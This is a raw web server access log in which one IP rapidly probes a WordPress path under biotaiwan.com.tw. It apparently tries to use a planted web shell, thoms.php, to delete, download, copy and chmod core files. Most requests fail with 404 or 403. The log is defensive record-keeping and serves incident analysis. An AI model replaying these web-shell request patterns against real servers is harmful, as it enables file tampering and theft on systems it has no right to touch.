45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?del=class-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?del=class-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffunctions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffunctions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?del=theme.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?del=admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?del=speculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?del=ai-client&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?dl=theme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:03 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?chmod=rss-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?del=abilities-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?dl=abilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /biotaiwan.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?chmod=plugin.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:04 -0400] "GET /thoms.php?del=class-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /biotaiwan.com.tw/wp-includes/class-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?dl=canonical.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?chmod=category-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?dl=class-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?chmod=feed-atom.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?del=general-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?chmod=fonts&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcategory.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcategory.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?dl=icons.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:05 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
